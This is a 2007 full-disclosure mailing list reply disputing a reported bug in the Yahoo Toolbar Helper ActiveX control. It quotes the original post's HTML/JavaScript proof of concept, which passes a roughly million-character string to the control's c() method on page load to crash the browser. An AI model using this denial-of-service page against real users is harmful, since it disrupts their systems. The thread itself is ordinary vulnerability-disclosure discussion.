full-disclosure - Re: Yahoo Toolbar Helper c() Method Stack Overflow DoS

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Message-Id: <20071130155937.87C7DDA81F@mailserver7.hushmail.com>
Date: Fri, 30 Nov 2007 10:59:37 -0500
From: "Joey Mengele" <joey.mengele@...hmail.com>
To: <full-disclosure@...ts.grok.org.uk>,<elazarb@...thlink.net>
Subject: Re: Yahoo Toolbar Helper c() Method Stack
	Overflow DoS

Yeah, strange how EIP isn't overwritten with your hacker savvy 0x41 
characters. Except for the fact that this again is a stack overflow 
exception and not a stack based buffer overflow. I implore you, 
LEAVE THE TROLLING TO THE PROFESSIONALS. Thanks.

J

On Wed, 31 Dec 1969 19:00:00 -0500 Elazar Broad 
<elazarb@...thlink.net> wrote:
>There is a stack overflow in the c() method of the Yahoo Toobar 
>Helper class. This overflow does not appear to get anywhere near 
>the EIP or SEH. PoC as follows:
>
>----------------------
><!--
> written by e.b.
>-->
><html>
> <head>
>  <script language="JavaScript" DEFER>
>    function Check() {
>    var s = "AAAA";
>
>     while (s.length < 999999) s=s+s;
>
>     var obj = new ActiveXObject("yt.ythelper.2"); //{02478D38-
>C3F9-4EFB-9B51-7695ECA05670}
>      obj.c(s);
>   }
>  </script>
>
> </head>
> <body onload="JavaScript: return Check();">
> </body>
></html>
>----------------------
>
>Elazar
>
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